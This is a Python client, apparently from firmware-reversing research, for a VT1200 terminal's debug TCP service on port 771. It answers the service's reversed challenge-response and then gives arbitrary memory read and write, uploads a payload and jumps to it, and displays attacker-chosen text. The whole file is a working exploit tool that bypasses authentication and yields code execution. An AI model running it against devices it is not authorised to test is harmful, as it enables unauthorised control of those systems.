#!/usr/bin/env python3
"""rdebug client -- the stock firmware's "DEBUG TCP Port" (771) console.

Protocol (see dwt/notes/rdebug-static.md and dwt/notes/EXPLOIT_ATTEMPT.md):

  request   = u32 be opcode + opcode arguments (each word be)
  response  = u32 be (payload_len + 1) + u8 flag + payload_len bytes

Before the first opcode >= 2 the dispatcher runs a 16-byte challenge
(dwt_prf, ROM bit 0x3F59FDC0): it sends one frame with flag 0x7F carrying 16
bytes, reads exactly 16 raw bytes back, rewrites them **in place** through a
fixed-key 16-round Feistel, and compares the result with the challenge.  The
required wire reply is ``swap4(invert(swap4(challenge)))``; ``dwt/challenge.py``
implements it and is the default here.  ``echo`` is kept only because it was
the historical first attempt -- it does **not** pass, and using it makes the
firmware close the session with no reply.

Examples:

  # liveness -- opcode 7 is a no-op; the reply is 11 bytes
  dwt/exploit.py --host 192.168.99.2 --opcode 7

  # arbitrary read (bit address), 4 bytes of ROM
  dwt/exploit.py --host 192.168.99.2 --peek 0x3F200000 --len 4

  # write and read back a RAM marker (addresses are TMS34010 BIT addresses)
  dwt/exploit.py --host 192.168.99.2 --poke 0x01820000 --hex DEAD
  dwt/exploit.py --host 192.168.99.2 --peek 0x01820000 --len 2

  # load harness/hello-world/payload.bin (82 bytes, linked at bit 01800000)
  # and call it; the payload spins, so --jump times out by design
  dwt/exploit.py --host 192.168.99.2 \
      --poke-file 0x01800000 --file harness/hello-world/payload.bin \
      --jump 0x01800000 --jump-wait 2

  # opcode 8 -- put attacker-chosen text on the terminal's screen
  dwt/exploit.py --host 192.168.99.2 --message "hello from rdebug"

  # build the frames without opening a socket
  dwt/exploit.py --opcode 7 --dry-run
"""

from __future__ import annotations

import argparse
import socket
import struct
import sys
import time

import challenge as _challenge   # the reversed dwt_prf transform (same dir)

OP_NAMES = {
    0: "pager (exits after)",
    1: "printfs off",
    2: "peek",
    3: "poke",
    4: "jump",
    5: "printfs on",
    6: "start_telnet",
    7: "no-op / liveness",
    8: "display_message",
    9: "usage_stats",
}

MAX_XFER = 0x400          # the firmware clamps peek/poke to 1024 bytes
CHALLENGE_FLAG = 0x7F


class ProtocolError(RuntimeError):
    pass


def be32(value: int) -> bytes:
    return struct.pack(">I", value & 0xFFFFFFFF)


def parse_int(text: str) -> int:
    """Accept 0x..., decimal, or a bare hex value (firmware addresses usually
    contain A-F, so bare tokens are read as hex)."""
    text = text.strip().replace("_", "")
    if text.lower().startswith("0x"):
        return int(text, 16)
    if any(c in "abcdefABCDEF" for c in text):
        return int(text, 16)
    return int(text, 10)


def parse_hex(text: str) -> bytes:
    text = "".join(text.split()).replace(":", "").replace(",", "")
    if text.lower().startswith("0x"):
        text = text[2:]
    if len(text) % 2:
        text = "0" + text
    return bytes.fromhex(text)


class RDebug:
    def __init__(self, host: str, port: int, timeout: float, verbose: bool):
        self.host = host
        self.port = port
        self.timeout = timeout
        self.verbose = verbose
        self.sock: socket.socket | None = None
        self.challenged = False
        self.challenge_type = "computed"
        self.challenge_raw: bytes | None = None

    # ---- transport -------------------------------------------------------
    def connect(self) -> None:
        self.sock = socket.create_connection((self.host, self.port), self.timeout)
        self.sock.settimeout(self.timeout)
        if self.verbose:
            print(f"[.] connected to {self.host}:{self.port}", file=sys.stderr)

    def close(self) -> None:
        if self.sock is not None:
            try:
                self.sock.close()
            finally:
                self.sock = None

    def send_raw(self, data: bytes) -> None:
        assert self.sock is not None
        if self.verbose:
            print(f"[>] {data.hex(' ')}", file=sys.stderr)
        self.sock.sendall(data)

    def recv_exact(self, n: int) -> bytes:
        assert self.sock is not None
        buf = bytearray()
        while len(buf) < n:
            chunk = self.sock.recv(n - len(buf))
            if not chunk:
                raise ProtocolError(
                    f"connection closed after {len(buf)}/{n} bytes")
            buf += chunk
        return bytes(buf)

    def read_frame(self) -> tuple[int, bytes]:
        """Return (flag, payload).  Raises ProtocolError on malformed framing."""
        head = self.recv_exact(4)
        (length,) = struct.unpack(">I", head)
        if length == 0 or length > 0x10000:
            raise ProtocolError(f"implausible frame length {length:#x}")
        body = self.recv_exact(length)          # flag + (length-1) payload
        flag, payload = body[0], body[1:]
        if self.verbose:
            print(f"[<] len={length} flag={flag:#04x} payload={payload.hex(' ')}",
                  file=sys.stderr)
        return flag, payload

    # ---- challenge -------------------------------------------------------
    @staticmethod
    def challenge_answer(challenge: bytes, mode: str) -> bytes:
        """Compute the 16-byte answer.

        The firmware stores four runtime words in host order, byte-swaps each
        one (`ntohl`, ROM 0x07F65828), sends *those* 16 bytes with flag 0x7F,
        reads 16 bytes back, rewrites them in place through a fixed-key
        16-round Feistel, and compares the result with the host-order
        challenge.  So the reply must be ``swap4(invert(swap4(challenge)))``,
        which is what ``dwt/challenge.py`` implements.

        ``computed`` (the default) uses that inverse and passes.  ``echo``
        returns the challenge unchanged and ``swap`` only fixes the byte
        order; both fail and make the firmware kill the session, and are kept
        for reference only.
        """
        if len(challenge) != 16:
            raise ProtocolError(f"challenge is {len(challenge)} bytes, not 16")
        if mode == "echo":
            return bytes(challenge)
        if mode == "computed":
            return _challenge.respond(bytes(challenge))
        if mode == "swap":          # historical: byte-order layer only, fails
            out = bytearray()
            for i in range(0, 16, 4):
                out += challenge[i:i + 4][::-1]
            return bytes(out)
        raise ValueError(mode)

    def answer_challenge(self, challenge: bytes) -> None:
        if self.challenge_raw is not None:
            answer = self.challenge_raw
        else:
            answer = self.challenge_answer(challenge, self.challenge_type)
        if self.verbose:
            print(f"[.] answering {self.challenge_type} challenge with "
                  f"{answer.hex(' ')}", file=sys.stderr)
        self.send_raw(answer)
        self.challenged = True

    def maybe_challenge(self, timeout: float | None = None) -> None:
        """Read a frame; if it is the 0x7F challenge, answer it and read on.

        Returns the first non-challenge frame's (flag, payload) is handled by
        the caller, so this method only *answers* a challenge it sees.  It is
        called before an opcode >= 2 and returns after the challenge frame has
        been answered."""
        assert self.sock is not None
        old = self.sock.gettimeout()
        if timeout is not None:
            self.sock.settimeout(timeout)
        try:
            flag, payload = self.read_frame()
        finally:
            self.sock.settimeout(old)
        if flag == CHALLENGE_FLAG:
            self.answer_challenge(payload)
        else:
            # The server spoke before we sent an opcode; keep it as a warning.
            print(f"[!] unexpected pre-opcode frame flag={flag:#x} "
                  f"payload={payload.hex(' ')}", file=sys.stderr)

    # ---- commands --------------------------------------------------------
    def command(self, opcode: int, args: bytes = b"", wait: bool = True,
                wait_timeout: float | None = None) -> tuple[int, bytes]:
        if opcode >= 2 and not self.challenged:
            # Send ONLY the opcode: the dispatcher runs the 16-byte challenge
            # before the handler reads its arguments.  Sending the arguments
            # early makes dwt_prf consume the first 16 bytes of them as the
            # challenge answer and shifts every later field (observed live:
            # peek complained "maximum peek size" because its length field had
            # been eaten).
            self.send_raw(be32(opcode))
            self.challenged = True
            flag, payload = self.read_frame()
            if flag == CHALLENGE_FLAG:
                self.answer_challenge(payload)
            if args:
                self.send_raw(args)
        else:
            self.send_raw(be32(opcode) + args)

        if not wait:
            return -1, b""
        if wait_timeout is not None:
            assert self.sock is not None
            self.sock.settimeout(wait_timeout)
        try:
            return self.read_frame()
        finally:
            if wait_timeout is not None and self.sock is not None:
                self.sock.settimeout(self.timeout)

    def liveness(self, opcode: int = 7) -> tuple[int, bytes]:
        return self.command(opcode)

    def peek(self, bit_addr: int, length: int) -> bytes:
        if length < 1 or length > MAX_XFER:
            raise ValueError(f"peek length must be 1..{MAX_XFER}")
        flag, payload = self.command(2, be32(bit_addr) + be32(length))
        if flag != 1:
            raise ProtocolError(f"peek: expected binary flag 1, got {flag:#x}: "
                                f"{payload!r}")
        if len(payload) != length:
            raise ProtocolError(f"peek: asked {length} bytes, got {len(payload)}")
        self.expect_done()
        return payload

    def poke(self, bit_addr: int, data: bytes) -> None:
        if not data or len(data) > MAX_XFER:
            raise ValueError(f"poke length must be 1..{MAX_XFER}")
        flag, payload = self.command(3, be32(bit_addr) + be32(len(data)) + data)
        if flag != 0:
            # "Done\n" is flag 0; anything else is the firmware's error text
            print(f"[!] poke reply flag={flag:#x}: {payload!r}", file=sys.stderr)
        self.expect_done(payload if flag == 0 else None)

    def display_message(self, level: int, text: bytes | str,
                        terminate: bool = True) -> bytes:
        """Opcode 8: ask the firmware to display *text* (len 1..1024).

        Body layout: ``u32 be level, u32 be len, len raw bytes``.  The handler
        allocates len+2 and copies len bytes, but it does **not** write a
        terminator (measured: a message sent without one is followed on screen
        by stale heap bytes).  So ``terminate`` (the default) appends one NUL,
        and the NUL counts toward ``len``.  Returns the reply payload (normally
        ``b"Done\\n\\x00"``); raises ProtocolError on an error reply.
        """
        if isinstance(text, str):
            text = text.encode("latin-1")
        if terminate and not text.endswith(b"\x00"):
            text += b"\x00"
        if not 1 <= len(text) <= MAX_XFER:
            raise ValueError(f"message length must be 1..{MAX_XFER} bytes")
        flag, payload = self.command(8, be32(level) + be32(len(text)) + text)
        if flag != 0:
            raise ProtocolError(f"display_message: expected Done flag 0, "
                                f"got {flag:#x}: {payload!r}")
        self.expect_done(payload)
        return payload

    def jump(self, bit_addr: int, args: list[int], wait: bool = True,
             wait_timeout: float | None = None) -> tuple[int, bytes] | None:
        body = be32(bit_addr) + be32(len(args))
        for a in args:
            body += be32(a)
        if not wait:
            self.command(4, body, wait=False)
            return None
        try:
            flag, payload = self.command(4, body, wait_timeout=wait_timeout)
        except (socket.timeout, TimeoutError):
            return None
        if flag == 1:
            (retval,) = struct.unpack(">I", payload[:4])
            print(f"[.] jump returned {retval:#010x} ({retval})")
            try:
                self.expect_done()
            except (socket.timeout, TimeoutError):
                pass
            return retval, payload
        return None

    def expect_done(self, payload: bytes | None = None) -> None:
        if payload is not None:
            if payload.startswith(b"Done\n"):
                return
            raise ProtocolError(f"expected Done, got {payload!r}")
        flag, body = self.read_frame()
        if flag != 0 or not body.startswith(b"Done\n"):
            raise ProtocolError(f"expected Done frame, got flag={flag:#x} "
                                f"{body!r}")


# ---------------------------------------------------------------------------
# dry run: print exactly what would go on the wire
# ---------------------------------------------------------------------------

def build_frames(args) -> list[bytes]:
    frames = []
    if args.opcode is not None:
        frames.append(be32(args.opcode))
    if args.message is not None:
        text = args.message.encode("latin-1")
        if not text.endswith(b"\x00"):
            text += b"\x00"          # the handler does not add a terminator
        frames.append(be32(8) + be32(args.message_level) + be32(len(text)) + text)
    if args.peek is not None:
        frames.append(be32(2) + be32(args.peek) + be32(args.len))
    if args.poke is not None:
        data = parse_hex(args.hex or "")
        frames.append(be32(3) + be32(args.poke) + be32(len(data)) + data)
    if args.poke_file is not None:
        data = open(args.file, "rb").read()
        frames.append(be32(3) + be32(args.poke_file) + be32(len(data)) + data)
    if args.jump is not None:
        body = be32(args.jump) + be32(len(args.arg))
        for a in args.arg:
            body += be32(a)
        frames.append(be32(4) + body)
    return frames


def main(argv: list[str]) -> int:
    ap = argparse.ArgumentParser(
        description="Client for the VT1200 stock firmware's rdebug TCP service "
                    "(port 771).  Addresses are TMS34010 bit addresses; use "
                    "--byte-addr to give byte addresses instead.",
        formatter_class=argparse.RawDescriptionHelpFormatter)
    ap.add_argument("--host", default="192.168.99.2")
    ap.add_argument("--port", type=int, default=771)
    ap.add_argument("--timeout", type=float, default=5.0,
                    help="socket timeout for ordinary command replies")
    ap.add_argument("--challenge", choices=("computed", "echo", "swap"),
                    default="computed",
                    help="challenge answer: computed (default, passes), or "
                         "echo/swap, which are historical and fail")
    ap.add_argument("--challenge-raw", metavar="HEX",
                    help="override the 16-byte challenge answer (experiment)")
    ap.add_argument("--byte-addr", action="store_true",
                    help="arguments are byte addresses; multiply by 8")
    ap.add_argument("--dry-run", action="store_true",
                    help="print the request frames, do not connect")
    ap.add_argument("--verbose", action="store_true")

    g = ap.add_mutually_exclusive_group(required=False)
    g.add_argument("--opcode", type=int, help="send a bare opcode (7 = liveness)")
    g.add_argument("--peek", type=parse_int, help="peek: bit address")
    g.add_argument("--poke", type=parse_int, help="poke: bit address")
    g.add_argument("--poke-file", type=parse_int,
                   help="poke a whole file: bit address")
    g.add_argument("--jump", type=parse_int, help="jump: call bit address")
    g.add_argument("--message", metavar="TEXT",
                   help="opcode 8: display attacker-chosen text on the "
                        "terminal screen")

    ap.add_argument("--len", type=int, default=16, help="peek length (max 1024)")
    ap.add_argument("--message-level", type=parse_int, default=0,
                    help="opcode 8 first word (default 0; try 0..3)")
    ap.add_argument("--hex", help="poke payload as hex, e.g. DEADBEEF")
    ap.add_argument("--file", help="poke-file payload path")
    ap.add_argument("--arg", type=parse_int, action="append", default=[],
                    help="jump argument (repeat up to 20)")
    ap.add_argument("--jump-wait", type=float, default=0.0,
                    help="seconds to wait for a jump return; 0 = don't wait "
                         "(a spinning payload never returns)")
    ap.add_argument("--poke-chunk", type=int, default=MAX_XFER,
                    help="split large poke-file payloads into chunks")

    args = ap.parse_args(argv[1:])

    if args.byte_addr:
        for name in ("peek", "poke", "poke_file", "jump"):
            v = getattr(args, name)
            if v is not None:
                setattr(args, name, v * 8)
        args.arg = [a for a in args.arg]

    if args.poke is not None and not args.hex:
        ap.error("--poke needs --hex")
    if args.poke_file is not None and not args.file:
        ap.error("--poke-file needs --file")
    if args.jump is not None and len(args.arg) > 20:
        ap.error("the firmware accepts at most 20 jump arguments")

    if args.dry_run:
        for frame in build_frames(args):
            print(frame.hex(" "))
        return 0

    rd = RDebug(args.host, args.port, args.timeout, args.verbose)
    rd.challenge_type = args.challenge
    if args.challenge_raw:
        rd.challenge_raw = parse_hex(args.challenge_raw)
        if len(rd.challenge_raw) != 16:
            ap.error("--challenge-raw must be exactly 16 bytes")
    try:
        rd.connect()
        rc = 0
        if args.opcode is not None:
            flag, payload = rd.liveness(args.opcode)
            print(f"opcode {args.opcode} -> flag={flag:#04x} "
                  f"payload={payload.hex(' ')} ({payload!r})")
            if args.opcode == 7 and payload != b"Done\n\x00":
                print("[!] opcode 7 did not return the expected Done\\n", 
                      file=sys.stderr)
                rc = 1
        if args.peek is not None:
            data = rd.peek(args.peek, args.len)
            print(f"peek {args.peek:#010x} ({args.len}) -> {data.hex(' ')}")
        if args.poke is not None:
            data = parse_hex(args.hex)
            rd.poke(args.poke, data)
            print(f"poke {args.poke:#010x} <- {data.hex(' ')}: ok")
        if args.poke_file is not None:
            data = open(args.file, "rb").read()
            off = 0
            while off < len(data):
                chunk = data[off:off + args.poke_chunk]
                rd.poke(args.poke_file + off * 8, chunk)
                off += len(chunk)
            print(f"poke-file {args.file}: {len(data)} bytes at "
                  f"{args.poke_file:#010x}: ok")
        if args.message is not None:
            rd.display_message(args.message_level, args.message)
            print(f"message level={args.message_level} {args.message!r}: ok")
        if args.jump is not None:
            result = rd.jump(args.jump, args.arg, wait=args.jump_wait > 0,
                             wait_timeout=args.jump_wait or None)
            if result is None:
                print(f"jump {args.jump:#010x}: no return within "
                      f"{args.jump_wait}s (expected for a non-returning payload)")
            else:
                print(f"jump {args.jump:#010x}: retval={result[0]:#010x}")
        return rc
    except (OSError, ProtocolError) as exc:
        print(f"error: {exc}", file=sys.stderr)
        return 2
    finally:
        rd.close()


if __name__ == "__main__":
    sys.exit(main(sys.argv))